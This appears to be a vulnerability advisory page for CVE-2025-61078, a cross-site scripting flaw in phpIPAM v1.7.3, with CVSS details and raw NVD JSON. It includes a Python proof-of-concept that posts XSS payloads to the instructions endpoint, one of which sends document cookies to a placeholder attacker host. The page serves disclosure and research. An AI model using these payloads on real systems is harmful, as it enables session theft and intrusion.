Security Vulnerability Report
中文
CVE-2025-61078 CVSS 6.1 MEDIUM

CVE-2025-61078

Published: 2025-12-09 18:15:56
Last Modified: 2025-12-12 12:26:39

Description

Cross-site scripting (XSS) vulnerability in Request IP form in phpIPAM v1.7.3 allows remote attackers to inject arbitrary web script or HTML via the instructions parameter for the /app/admin/instructions/edit-result.php endpoint.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpipam:phpipam:1.7.3:*:*:*:*:*:*:* - VULNERABLE
phpIPAM v1.7.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-61078 PoC - phpIPAM v1.7.3 XSS via instructions parameter # Target: /app/admin/instructions/edit-result.php def exploit_xss(target_url, payload): """ Exploit stored XSS vulnerability in phpIPAM Request IP form Args: target_url: Base URL of phpIPAM installation payload: Malicious JavaScript/HTML payload Returns: bool: True if payload submitted successfully """ endpoint = f"{target_url}/app/admin/instructions/edit-result.php" # Malicious payload for XSS injection data = { "instructions": payload, "action": "add" } try: response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload submitted to {endpoint}") print(f"[+] Payload: {payload}") return True else: print(f"[-] Failed to submit payload. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Example payloads if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_61078_poc.py <target_url>") print("Example: python cve_2025_61078_poc.py http://192.168.1.100/phpipam") sys.exit(1) target = sys.argv[1] # XSS payload examples payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(document.cookie)>", "<svg/onload=fetch('https://attacker.com/steal?c='+btoa(document.cookie))>" ] for payload in payloads: exploit_xss(target, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61078", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:55.973", "lastModified": "2025-12-12T12:26:38.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-site scripting (XSS) vulnerability in Request IP form in phpIPAM v1.7.3 allows remote attackers to inject arbitrary web script or HTML via the instructions parameter for the /app/admin/instructions/edit-result.php endpoint."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpipam:phpipam:1.7.3:*:*:*:*:*:*:*", "matchCriteriaId": "C547BF93-D803-4961-9D9E-CF40F8126681"}]}]}], "references": [{"url": "http://phpipam.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://glitch0ne.com/2025/12/05/cve-2025-61078-cross-site-scripting-xss-vulnerability-in-request-ip-form-in-phpipam-v1-7-3/", "source": "[email protected]", "tags": ["Broken Link", "Third Party Advisory"]}]}}